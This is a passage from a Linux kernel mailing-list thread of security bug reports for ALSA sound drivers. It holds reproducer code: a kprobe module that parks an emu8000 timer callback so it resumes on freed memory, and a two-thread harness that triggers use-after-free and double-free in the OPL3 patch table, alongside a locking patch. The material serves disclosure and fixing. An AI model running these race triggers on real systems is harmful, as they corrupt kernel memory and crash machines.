/* intervals: allow wide ranges, REFINE will pick */
for (i = SNDRV_PCM_HW_PARAM_FIRST_INTERVAL;
i <= SNDRV_PCM_HW_PARAM_LAST_INTERVAL; i++) {
p->intervals[i - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = 0;
p->intervals[i - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = ~0U;
}
p->rmask = ~0U;
p->cmask = 0;
p->info = ~0U;
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, p) < 0) {
perror("HW_REFINE");
free(p);
return -1;
}
/* nail rate/channels/period for a stable config */
p->intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = rate;
p->intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = rate;
p->intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = ch;
p->intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = ch;
p->intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = psize;
p->intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = psize;
/* emu8k hw_params allocates a memhdr block of buffer_bytes+32 out of
* the 512K fake DRAM; an unbounded REFINE picks the 512K-24 maximum
* and overflows it -> -ENOMEM. Keep the buffer small. */
p->intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = 4096;
p->intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = 16384;
p->rmask = (1U << (SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL));
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, p) < 0) {
perror("HW_REFINE(fixed)");
free(p);
return -1;
}
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, p) < 0) {
perror("HW_PARAMS");
free(p);
return -1;
}
free(p);
/* stop_threshold >= boundary makes snd_pcm_playback_data() always
* report data present, so SNDRV_PCM_IOCTL_START succeeds on an
* empty buffer (start_voice() arms the rec->timer - the race
* counterpart we need alive). */
{
struct snd_pcm_sw_params *s = calloc(1, sizeof(*s));
if (s) {
s->avail_min = 1024;
s->start_threshold = 1024;
s->stop_threshold = 0x7fffffffU;
if (ioctl(fd, SNDRV_PCM_IOCTL_SW_PARAMS, s) < 0)
perror("SW_PARAMS");
free(s);
}
}
if (ioctl(fd, SNDRV_PCM_IOCTL_PREPARE) < 0) {
perror("PREPARE");
return -1;
}
if (ioctl(fd, SNDRV_PCM_IOCTL_START) < 0) {
perror("START");
return -1;
}
return 0;
}
static int cycle(int n, int sleep_ms)
{
int i, fd;
for (i = 0; i < n; i++) {
fd = do_open();
if (fd < 0)
return 1;
if (setup_params(fd) == 0)
msleep(sleep_ms); /* RUNNING: timer re-armed
* every jiffie */
close(fd); /* drop -> trigger STOP -> timer_delete
* (non-sync) -> hw_free -> close kfree(rec) */
if ((i % 25) == 0)
printf("cycle %d/%d done\n", i + 1, n);
}
printf("cycle: %d rounds done\n", n);
return 0;
}
static int hold(int seconds)
{
int fd, k;
snd_pcm_sframes_t delay = 0;
fd = do_open();
if (fd < 0)
return 1;
if (setup_params(fd))
return 1;
printf("hold: RUNNING on fd=%d, querying for %ds (keep fd alive across rmmod)\n",
fd, seconds);
for (k = 0; k < seconds * 100; k++) {
if (ioctl(fd, SNDRV_PCM_IOCTL_HWSYNC) < 0)
break;
ioctl(fd, SNDRV_PCM_IOCTL_DELAY, &delay);
msleep(10);
}
printf("hold: closing fd after %d queries (release vs device free)\n", k);
close(fd);
printf("hold: done\n");
return 0;
}
static int idle(int seconds)
{
int fd = do_open();
if (fd < 0)
return 1;
printf("idle: fd=%d sleeping %ds\n", fd, seconds);
sleep(seconds);
close(fd);
printf("idle: done\n");
return 0;
}
static int still(void)
{
int i, fd;
for (i = 0; i < 200; i++) {
fd = do_open();
if (fd < 0)
return 1;
close(fd); /* state stays OPEN -> drop returns
* -EBADFD, no trigger, timer never armed */
}
printf("still: 200 open/close done (timer never armed)\n");
return 0;
}
int main(int argc, char **argv)
{
dev = getenv("PCMDEV");
if (!dev)
dev = dev_pcm;
if (argc >= 3 && !strcmp(argv[1], "cycle"))
return cycle(atoi(argv[2]), argc >= 4 ? atoi(argv[3]) : 150);
if (argc >= 3 && !strcmp(argv[1], "arm")) {
int fd, s = atoi(argv[2]);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("arm: stepping: open\n");
fd = do_open();
if (fd < 0)
return 1;
printf("arm: stepping: hw_params\n");
if (setup_params(fd))
return 1;
printf("arm: RUNNING fd=%d, will close after %ds\n", fd, s);
sleep(s);
close(fd);
printf("arm: closed\n");
return 0;
}
if (argc >= 3 && !strcmp(argv[1], "hold"))
return hold(atoi(argv[2]));
if (argc >= 3 && !strcmp(argv[1], "idle"))
return idle(atoi(argv[2]));
if (argc >= 2 && !strcmp(argv[1], "still"))
return still();
fprintf(stderr,
"usage: %s cycle <n> [sleep_ms] | hold <sec> | idle <sec> | still\n",
argv[0]);
return 2;
}
[-- Attachment #4: awe07stall.c --]
[-- Type: text/plain, Size: 6754 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* awe07stall.c - controlled-window module for SOC-MR-07
* (docs/manual-review-sound-soc-2026-11-26.md).
*
* kprobes the softirq timer callback emu8k_pcm_timer_func() (in-tree,
* snd-emu8000-synth.ko) at its entry and stalls the instance there.
* While it is parked:
*
* userspace close() -> snd_pcm_drop -> trigger STOP ->
* stop_voice(): timer_delete(&rec->timer) (non-sync; the running
* callback is unaffected)
* -> emu8k_pcm_close(): kfree(rec) (object dies)
*
* Then the stall is released and the parked callback resumes on the
* FREED struct snd_emu8k_pcm: dereferences rec->emu, spin_lock()s the
* freed rec->timer_lock, writes rec->period_pos, and re-arms the ghost
* timer with mod_timer() - the audited SOC-MR-07 interleaving, one
* deterministic shot (methodology: isa01_stall / nmi_stall / r4_stall).
*/
#define pr_fmt(fmt) "AWE07STALL: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/atomic.h>
#include <sound/pcm.h>
static int fire_start;
module_param(fire_start, int, 0600);
MODULE_PARM_DESC(fire_start, "when set, armed=1 first fires the real trigger(START)");
static int armed;
MODULE_PARM_DESC(armed, "1 = stall the next emu8k_pcm_timer_func entry; 0 = release");
static int stalls;
module_param(stalls, int, 0400);
MODULE_PARM_DESC(stalls, "how many timer-callback instances were stalled");
static int saw;
module_param(saw, int, 0400);
MODULE_PARM_DESC(saw, "total kprobe hits on emu8k_pcm_timer_func (timer alive check)");
static int stall_ms = 20000;
module_param(stall_ms, int, 0600);
MODULE_PARM_DESC(stall_ms, "max stall duration (ms) before the callback is released anyway");
static atomic_t parked = ATOMIC_INIT(0);
static int timer_entry_handler(struct kprobe *p, struct pt_regs *regs)
{
unsigned long deadline;
saw++;
if (!armed || atomic_xchg(&parked, 1))
return 0;
stalls++;
pr_info("timer callback parked at entry (close/free can now run under it)\n");
deadline = jiffies + msecs_to_jiffies(stall_ms);
while (armed && time_before(jiffies, deadline))
cpu_relax();
pr_info("timer callback released (armed=%d) - resuming on possibly freed rec\n",
armed);
atomic_set(&parked, 0);
return 0;
}
static unsigned long tfunc_addr;
module_param(tfunc_addr, ulong, 0400);
MODULE_PARM_DESC(tfunc_addr,
"absolute address of emu8k_pcm_timer_func (static symbol, not in kallsyms: "
"snd_emu8000_synth .text base + 0x3230)");
static unsigned long trig_addr;
module_param(trig_addr, ulong, 0400);
MODULE_PARM_DESC(trig_addr, "addr of emu8k_pcm_trigger (.text + 0x2420) - START reachability probe");
static unsigned long open_addr;
module_param(open_addr, ulong, 0400);
MODULE_PARM_DESC(open_addr, "addr of emu8k_pcm_open (.text + 0x2b10) - captures the substream");
static unsigned long trigger_fn;
static unsigned long captured_subs;
module_param(captured_subs, ulong, 0400);
MODULE_PARM_DESC(captured_subs, "substream pointer captured at emu8k_pcm_open entry");
static int trig_hits;
module_param(trig_hits, int, 0400);
MODULE_PARM_DESC(trig_hits, "emu8k_pcm_trigger invocations seen");
static int __kprobes trig_handler(struct kprobe *p, struct pt_regs *regs)
{
trig_hits++;
return 0;
}
/* capture the substream at emu8k_pcm_open entry (arg0 = rdi) */
static int __kprobes open_entry_handler(struct kprobe *p, struct pt_regs *regs)
{
captured_subs = (unsigned long)regs->di;
return 0;
}
static struct kprobe kp_open = {
.pre_handler = open_entry_handler,
};
static int fire_thread(void *data)
{
int (*emu8k_pcm_trigger)(void *subs, int cmd) =
(int (*)(void *, int))trigger_fn;
struct snd_pcm_substream *subs = (struct snd_pcm_substream *)captured_subs;
struct snd_pcm_runtime *rt;
if (!subs || !trigger_fn)
return -EINVAL;
rt = subs->runtime;
if (!rt || !rt->private_data) {
pr_err("fire: no runtime/private_data (open not finished?)\n");
return -EINVAL;
}
/* replicate prepare's rec->voices = runtime->channels write,
* bypassing emu8k_pcm_prepare's hardware-wait loops (QEMU port
* reads return 0xff.../ -1 and its retry loop never terminates).
* offset of snd_emu8k_pcm.voices = 72 (struct copy in harness). */
*(int *)((char *)rt->private_data + 72) = 1;
pr_info("fire: calling REAL emu8k_pcm_trigger(subs=%px, START) with rec->voices=1\n",
subs);
emu8k_pcm_trigger(subs, 0 /* SNDRV_PCM_TRIGGER_START */);
pr_info("fire: trigger(START) returned - rec->timer armed by real start_voice()\n");
return 0;
}
static void do_fire(void)
{
struct task_struct *t;
t = kthread_run(fire_thread, NULL, "awe07fire");
if (IS_ERR(t))
pr_err("fire kthread failed\n");
}
static int armed_prev;
static int armed_set(const char *val, const struct kernel_param *kp)
{
int ret = param_set_int(val, kp);
if (ret == 0 && armed && !armed_prev && fire_start) {
pr_info("armed=1 with fire_start: firing REAL trigger(START)\n");
do_fire();
}
armed_prev = armed;
return ret;
}
static const struct kernel_param_ops armed_ops = {
.set = armed_set,
.get = param_get_int,
};
module_param_cb(armed, &armed_ops, &armed, 0600);
static struct kprobe kp_trig = {
/* emu8k_pcm_trigger/emu8k_pcm_timer_func are static (offsets
* 0x2420/0x3230 in snd-emu8000-synth.ko) - invisible to
* symbol_name kprobes; the init script passes .text base + offsets
* via module params. */
.pre_handler = trig_handler,
};
static struct kprobe kp = {
.pre_handler = timer_entry_handler,
};
static int __init awe07stall_init(void)
{
int ret;
if (!tfunc_addr) {
pr_err("tfunc_addr required (snd_emu8000_synth .text + 0x3230)\n");
return -EINVAL;
}
kp.addr = (kprobe_opcode_t *)tfunc_addr;
ret = register_kprobe(&kp);
if (ret) {
pr_err("register_kprobe emu8k_pcm_timer_func failed %d\n", ret);
return ret;
}
pr_info("kprobe armed on emu8k_pcm_timer_func at %px\n",
(void *)tfunc_addr);
if (trig_addr) {
kp_trig.addr = (kprobe_opcode_t *)trig_addr;
ret = register_kprobe(&kp_trig);
if (ret)
pr_err("register_kprobe trigger probe failed %d\n", ret);
}
if (open_addr) {
kp_open.addr = (kprobe_opcode_t *)open_addr;
ret = register_kprobe(&kp_open);
if (ret)
pr_err("register_kprobe open probe failed %d\n", ret);
else
pr_info("open-entry probe armed at %px (captures substream)\n",
(void *)open_addr);
}
trigger_fn = trig_addr; /* emu8k_pcm_trigger address for fire_start */
return 0;
}
static void __exit awe07stall_exit(void)
{
armed = 0;
unregister_kprobe(&kp);
}
module_init(awe07stall_init);
module_exit(awe07stall_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SOC-MR-07 controlled window: stall emu8k_pcm_timer_func entry");
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: opl3: patch_table lookup/clear/load run lock-free against the voice_lock readers (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (30 preceding siblings ...)
2026-12-01 12:28 ` ALSA: emu8000: sync the PCM emulation timer before freeing snd_emu8k_pcm and gate the callback re-arm on timer_running (UAF) 徐晗翔
@ 2026-12-01 12:37 ` 徐晗翔
2026-12-01 12:39 ` ALSA: core: card->devices list is managed lock-free -- struct snd_device UAF and LIST_POISON2 crash between card disconnect and independent sub-driver removal (UAF) 徐晗翔
` (9 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:37 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 8449 bytes --]
The OPL3 FM driver keeps its SBI patch table (opl3->patch_table[]) with
no serialization at all on the two host-side producers: the hwdep
CLEAR_PATCHES ioctl (snd_opl3_clear_patches()) and the hwdep write path
(snd_opl3_write() -> snd_opl3_load_patch()) both walk/modify the table
and kfree() its entries with no lock taken, while the sequencer note-on
reader walks the same entries under opl3->voice_lock -- a lock the two
producers never take. Because snd_opl3_clear_patches() kfrees every
fm_patch and only memsets the (now dangling) bucket heads afterwards,
two concurrently issued CLEAR_PATCHES ioctls on one shared fd double
free the same nodes, and a write() issued in the same window writes
through a freed fm_patch (patch->type, patch->inst.*, patch->name).
hw->exclusive=1 only limits the number of open()s; threads (or
fork()/dup() users) sharing one already-open /dev/snd/hwC*D* fd issue
the ioctl and write() fully concurrently, and .unlocked_ioctl/.write
take no lock in the core. Verified on mainline 7.3 with a harness that
brings up the real in-tree OPL3 hwdep device (built via the exported
snd_opl3_new()/snd_opl3_hwdep_new() API, no kernel source modified) and
drives the two real file operations from two pthreads sharing one fd:
146 KASAN slab-use-after-free reports in 35 seconds with a fully closed
three-stack (alloc = snd_opl3_load_patch+0xae in the writer, free =
kfree <- snd_opl3_ioctl+0x85d -- the inlined snd_opl3_clear_patches() --
in the ioctl thread, use = snd_opl3_load_patch+0x70/+0x5f writing
patch->name/type/inst). No privileges beyond access to the sound
device node are needed; OPL3 hardware (or the emulated device) is
required.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3, KASAN, QEMU/KVM x86_64 guest (2 vCPU).
sound/drivers/opl3/* is byte-identical between the audited tree and
the vanilla 7.3 verification tree (diff -q empty); line numbers below
are 7.3.
* Mechanism
Three roles on the same unprotected table:
- clear: SNDRV_DM_FM_IOCTL_CLEAR_PATCHES -> snd_opl3_ioctl()
(opl3_synth.c:156-158) -> snd_opl3_clear_patches()
(opl3_synth.c:330-341): no lock; L336 reads patch->next, L337
kfree(patch), L340 memsets the bucket heads only after the whole
free loop.
- load: snd_hwdep_write() -> snd_opl3_write() (opl3_synth.c:182) ->
snd_opl3_load_patch() (opl3_synth.c:239): snd_opl3_find_patch(
create=1) head-inserts a new node (L316-322) and then L252-291
write patch->type/inst/name -- all unlocked.
- read: snd_opl3_note_on() (opl3_midi.c:335) takes
guard(spinlock_irqsave)(&opl3->voice_lock), then
snd_opl3_find_patch(create=0) (L343) and reads
patch->inst/type/name (L347-362).
The voice_lock only serializes the readers against each other; the
clear and load producers never take it, so all three lock domains are
pairwise disjoint. Sequencer-side mutual exclusion
(snd_opl3_synth_setup()'s hwdep->used) only gates hwdep open vs
sequencer subscription; a direct (subscription-less) NOTEON delivery
to the port's event_input callback is not gated by it, and the same-fd
ioctl/write concurrency is not gated at all.
* Trigger model
Open /dev/snd/hwC*D* once, then from two threads of one process:
thread A loops ioctl(SNDRV_DM_FM_IOCTL_CLEAR_PATCHES), thread B loops
write() of SBI patch blobs (each blob allocates a new fm_patch via
snd_opl3_find_patch(create=1); cycling prog/bank spreads the table
over all 32 hash buckets and makes the free loop -- i.e. the window
between the kfrees and the memset -- arbitrarily long). Consequence:
slab UAF read/write and double-free; the corrupted patch->next chain
makes later snd_opl3_find_patch() walks reach arbitrary memory.
* Reproducer and results on 7.3 (still present as of 7.4-rc5)
opl3race.c builds a virtual card through the exported API
(snd_opl3_new() + opl3->command stub + snd_opl3_hwdep_new() +
snd_card_register()), which exposes the REAL hwdep device with the
REAL open/ioctl/write/release ops -- the audited code path is the
byte-identical in-tree snd-opl3-lib.ko. opl3_test "hammer <secs>"
then runs the two threads described above. Needs
CONFIG_SND_SEQUENCER=y (the driver's OPL3_SUPPORT_SYNTH) and
CONFIG_SND_OPL3_LIB=m.
make -C <kernel-build-dir> M=$PWD modules
gcc -static -O2 -o opl3_test opl3_test.c -pthread
insmod snd-opl3-lib.ko; insmod opl3race.ko; insmod snd-opl3-synth.ko
./opl3_test hammer 35
Results: 146 "BUG: KASAN: slab-use-after-free" reports
in 35 seconds; the first report's full three-stack is included in the
evidence file (alloc in the writer's snd_opl3_load_patch, freed by
the ioctl thread's kfree at snd_opl3_ioctl+0x85d, use back in
snd_opl3_load_patch writing patch->name). ~15M clears / ~1M loads
were otherwise processed.
* Patch
snd_opl3_clear_patches() and snd_opl3_load_patch()/snd_opl3_find_patch(
create=1) manipulate opl3->patch_table[] and the struct fm_patch
objects with no lock, racing snd_opl3_note_on()'s voice_lock-protected
table walk: two concurrent CLEAR_PATCHES ioctls double-free the same
fm_patch nodes and a concurrent write() writes through freed nodes
(memset of the bucket heads happens only after the whole free loop).
Protect the lookup/insert, the patch fill, and the table clear with
opl3->voice_lock; clear_patches() unlinks all buckets under the lock
and frees the detached chain outside it. snd_opl3_find_patch() now
requires the caller to hold the lock (snd_opl3_note_on() already
does).
Signed-off-by: Hanxiang Xu <xuhx@hust.edu.cn>
---
sound/drivers/opl3/opl3_synth.c | 40 ++++++++++++++++++++++++-------
1 file changed, 31 insertions(+), 9 deletions(-)
diff --git a/sound/drivers/opl3/opl3_synth.c b/sound/drivers/opl3/opl3_synth.c
index ... 100644
--- a/sound/drivers/opl3/opl3_synth.c
+++ b/sound/drivers/opl3/opl3_synth.c
@@ -243,10 +243,15 @@ int snd_opl3_load_patch(struct snd_opl3 *opl3,
const unsigned char *data)
{
struct fm_patch *patch;
int i;
+ unsigned long flags;
- patch = snd_opl3_find_patch(opl3, prog, bank, 1);
- if (!patch)
- return -ENOMEM;
+ /* find + fill must not race the voice_lock readers or the clear
+ * path; see the report */
+ spin_lock_irqsave(&opl3->voice_lock, flags);
+ patch = snd_opl3_find_patch(opl3, prog, bank, 1);
+ if (!patch) {
+ spin_unlock_irqrestore(&opl3->voice_lock, flags);
+ return -ENOMEM;
+ }
patch->type = type;
@@ -289,28 +295,44 @@ int snd_opl3_load_patch(struct snd_opl3 *opl3,
if (name)
strscpy(patch->name, name, sizeof(patch->name));
+
+ spin_unlock_irqrestore(&opl3->voice_lock, flags);
return 0;
}
EXPORT_SYMBOL(snd_opl3_load_patch);
struct fm_patch *snd_opl3_find_patch(struct snd_opl3 *opl3, int prog, int bank,
int create_patch)
{
/* pretty dumb hash key */
unsigned int key = (prog + bank) % OPL3_PATCH_HASH_SIZE;
struct fm_patch *patch;
+ lockdep_assert_held(&opl3->voice_lock);
+
for (patch = opl3->patch_table[key]; patch; patch = patch->next) {
if (patch->prog == prog && patch->bank == bank)
return patch;
}
@@ -328,17 +350,27 @@ struct fm_patch *snd_opl3_find_patch(struct snd_opl3 *opl3, int prog, int bank
/*
* Clear all patches of the given OPL3 instance
*/
void snd_opl3_clear_patches(struct snd_opl3 *opl3)
{
int i;
+ struct fm_patch *patch, *next, *free_list = NULL;
+ unsigned long flags;
+
+ /* unlink the whole table under the lock, kfree the detached chain
+ * outside it */
+ spin_lock_irqsave(&opl3->voice_lock, flags);
for (i = 0; i < OPL3_PATCH_HASH_SIZE; i++) {
- struct fm_patch *patch, *next;
for (patch = opl3->patch_table[i]; patch; patch = next) {
next = patch->next;
- kfree(patch);
+ patch->next = free_list;
+ free_list = patch;
}
}
memset(opl3->patch_table, 0, sizeof(opl3->patch_table));
+ spin_unlock_irqrestore(&opl3->voice_lock, flags);
+
+ for (patch = free_list; patch; patch = next) {
+ next = patch->next;
+ kfree(patch);
+ }
}
--
2.43.0
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: opl3_test.c --]
[-- Type: text/plain, Size: 3779 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* opl3_test.c - userspace driver for the DRV-MR-01 (opl3 patch_table
* lock-free race) verification harness (kmod/sdrv/opl3race.c).
*
* Plans:
* hammer <secs> - one process, ONE hwdep fd (hw->exclusive=1 only
* limits open() count; threads share the single fd),
* two pthreads:
* A: loop ioctl(SNDRV_DM_FM_IOCTL_CLEAR_PATCHES)
* B: loop write(struct sbi_patch) with cycling
* prog/bank (every blob allocates a new
* struct fm_patch through the real
* snd_opl3_load_patch -> snd_opl3_find_patch
* (create=1) path)
* Audited signature (KASAN, multi_shot):
* UAF READ @ snd_opl3_find_patch / clear_patches
* UAF WRITE @ snd_opl3_load_patch
* double-free @ snd_opl3_clear_patches
*
* info - open the hwdep device and print its info (sanity).
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>
#include <sound/asound_fm.h>
static const char *dev = "/dev/snd/hwC0D0";
static volatile int stop_flag;
static volatile long clears, loads, wr_err, io_err;
static struct sbi_patch make_blob(unsigned int i)
{
struct sbi_patch p;
memset(&p, 0, sizeof(p));
p.prog = i & 0x7f;
p.bank = (i >> 7) & 0x7f;
/* hash key = (prog+bank) % 32: cycle the sum over all 32 buckets */
memcpy(p.key, FM_KEY_SBI, 4);
snprintf(p.name, sizeof(p.name), "t%u", i);
return p;
}
static void *clearer_fn(void *arg)
{
while (!stop_flag) {
if (ioctl(*(int *)arg, SNDRV_DM_FM_IOCTL_CLEAR_PATCHES) < 0)
io_err++;
else
clears++;
}
return NULL;
}
static void *loader_fn(void *arg)
{
unsigned int i = 0;
while (!stop_flag) {
struct sbi_patch p = make_blob(i++);
ssize_t r = write(*(int *)arg, &p, sizeof(p));
if (r == (ssize_t)sizeof(p))
loads++;
else
wr_err++;
}
return NULL;
}
static int do_hammer(int secs)
{
int fd, rc;
pthread_t ta, tb;
time_t t0 = time(NULL);
fd = open(dev, O_RDWR);
if (fd < 0) {
fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno));
return 1;
}
printf("hammer: fd=%d on %s for %ds (CLEAR_PATCHES vs SBI write)\n",
fd, dev, secs);
pthread_create(&ta, NULL, clearer_fn, &fd);
pthread_create(&tb, NULL, loader_fn, &fd);
while (time(NULL) - t0 < secs) {
sleep(1);
printf("hammer: %lds clears=%ld loads=%ld err=%ld/%ld\n",
time(NULL) - t0, clears, loads, wr_err, io_err);
fflush(stdout);
}
stop_flag = 1;
pthread_join(ta, NULL);
pthread_join(tb, NULL);
close(fd);
FILE *f = fopen("/tmp/opl3_done", "w");
if (f) {
fprintf(f, "clears=%ld loads=%ld\n", clears, loads);
fclose(f);
}
printf("hammer done: clears=%ld loads=%ld\n", clears, loads);
return 0;
}
static int do_info(void)
{
struct snd_hwdep_info info;
int fd = open(dev, O_RDWR);
int rc;
if (fd < 0) {
fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno));
return 1;
}
memset(&info, 0, sizeof(info));
rc = ioctl(fd, SNDRV_HWDEP_IOCTL_INFO, &info);
printf("info: rc=%d card=%d iface=%d name=%.32s\n", rc,
info.card, info.iface, info.name);
close(fd);
return rc < 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s hammer <secs> | info\n", argv[0]);
return 2;
}
if (!strcmp(argv[1], "hammer"))
return do_hammer(argc > 2 ? atoi(argv[2]) : 30);
if (!strcmp(argv[1], "info"))
return do_info();
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: opl3race.c --]
[-- Type: text/plain, Size: 4969 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* opl3race.c - dynamic verification harness for the sound__drivers audit
* case DRV-MR-01 (docs/manual-review-sound-drivers-2026-11-26.md):
*
* "opl3->patch_table[] çæ¸
ç snd_opl3_clear_patches() ä¸å è½½
* snd_opl3_write()/snd_opl3_load_patch() å
¨ç¨æ éï¼ä¸éæ¾å
äºè¡¨å¤´
* æ¸
é¶ï¼memset å¨å
¨é¨ kfree ä¹åï¼-> struct fm_patch UAF 读å /
* Double-Free / åå¸é¾ç ´å"
*
* The module allocates the REAL in-tree OPL3 object through the exported
* API in exactly the shape real drivers use (snd_opl3_create()'s body
* minus hardware detection):
*
* snd_opl3_new(card, OPL3_HW_OPL3, &opl3)
* opl3->command = <no-op stub> (fake FM backend: the audited
* race lives in the host-memory
* patch-table layer only)
* snd_opl3_hwdep_new(opl3, 0, 0, NULL) (real hwdep ops: open/ioctl/
* write/release; exclusive=1;
* creates the real "opl3" seq
* device)
* snd_card_register(card) -> real /dev/snd/hwC0D0
*
* The race is then driven entirely from userspace through the REAL file
* operations: one process opens the hwdep device (hw->exclusive=1 only
* limits open() count), two threads share that single fd:
* thread A: loop ioctl(SNDRV_DM_FM_IOCTL_CLEAR_PATCHES)
* -> snd_opl3_clear_patches(): frees every fm_patch, memset
* only afterwards
* thread B: loop write(struct sbi_patch) with cycling prog/bank
* -> snd_opl3_write() -> snd_opl3_load_patch() ->
* snd_opl3_find_patch(create=1): allocates and head-inserts
* a new fm_patch per blob
* Under KASAN (multi_shot) this yields the audited signatures:
* slab-use-after-free READ @ snd_opl3_find_patch/opl3_synth.c:336
* double-free @ snd_opl3_clear_patches/opl3_synth.c:337
* slab-use-after-free WRITE @ snd_opl3_load_patch (patch->type/inst)
*
* Zero kernel source modification; the audited module is the byte-identical
* in-tree snd-opl3-lib.ko (diff vs race/linux verified empty).
*/
#define pr_fmt(fmt) "OPL3RACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <sound/core.h>
#include <sound/opl3.h>
#include <sound/initval.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_opl3 *opl3;
/*
* No-op FM register backend. The real backends (snd_opl2/3_command) only
* push bytes out the FM ports; they take no part in the audited
* patch-table race. Setting a stub lets snd_opl3_reset()/voice paths
* (release, seq probe) run safely without any FM hardware.
*/
static void or3_command(struct snd_opl3 *o, unsigned short reg,
unsigned char val)
{
}
static int or3_setup(void)
{
int err;
parent = root_device_register("opl3race");
if (IS_ERR(parent)) {
pr_err("root_device_register failed\n");
return PTR_ERR(parent);
}
err = snd_card_new(parent, 0, "opl3race", THIS_MODULE, 0, &card);
if (err < 0) {
pr_err("snd_card_new failed: %d\n", err);
goto err_root;
}
err = snd_opl3_new(card, OPL3_HW_OPL3, &opl3);
if (err < 0) {
pr_err("snd_opl3_new failed: %d\n", err);
goto err_card;
}
opl3->command = or3_command;
opl3->l_port = 0x388; /* unreferenced legacy ports: only read by */
opl3->r_port = 0x38a; /* debug paths; never written by this harness */
err = snd_opl3_hwdep_new(opl3, 0, 0, NULL);
if (err < 0) {
pr_err("snd_opl3_hwdep_new failed: %d\n", err);
goto err_card;
}
err = snd_card_register(card);
if (err < 0) {
pr_err("snd_card_register failed: %d\n", err);
goto err_card;
}
pr_info("READY: real hwC0D0 (OPL3 FM, exclusive) up; op=%p\n", opl3);
return 0;
err_card:
snd_card_free(card);
card = NULL;
opl3 = NULL;
root_device_unregister(parent);
parent = NULL;
return err;
err_root:
root_device_unregister(parent);
parent = NULL;
return err;
}
static void or3_teardown(void)
{
if (card) {
snd_card_free(card);
card = NULL;
opl3 = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
/* ---- plans (module param writes from guest init) ---- */
static int probe_set(const char *val, const struct kernel_param *kp)
{
if (card)
return -EBUSY;
return or3_setup();
}
static const struct kernel_param_ops probe_ops = { .set = probe_set };
module_param_cb(probe, &probe_ops, NULL, 0200);
static int __init opl3race_init(void)
{
int rc = or3_setup();
if (rc)
pr_err("init: setup failed rc=%d (use probe= to retry)\n", rc);
return 0; /* keep the module so the params stay addressable */
}
static void __exit opl3race_exit(void)
{
or3_teardown();
}
module_init(opl3race_init);
module_exit(opl3race_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("DRV-MR-01 (opl3 patch_table lock-free race) harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: core: card->devices list is managed lock-free -- struct snd_device UAF and LIST_POISON2 crash between card disconnect and independent sub-driver removal (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (31 preceding siblings ...)
2026-12-01 12:37 ` ALSA: opl3: patch_table lookup/clear/load run lock-free against the voice_lock readers (UAF) 徐晗翔
@ 2026-12-01 12:39 ` 徐晗翔
2026-12-01 12:43 ` ALSA: hwdep: single-device teardown kfrees snd_hwdep while user space still holds the node open (UAF) 徐晗翔
` (8 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:39 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 13481 bytes --]
The card->devices list is the central registry of every ALSA component
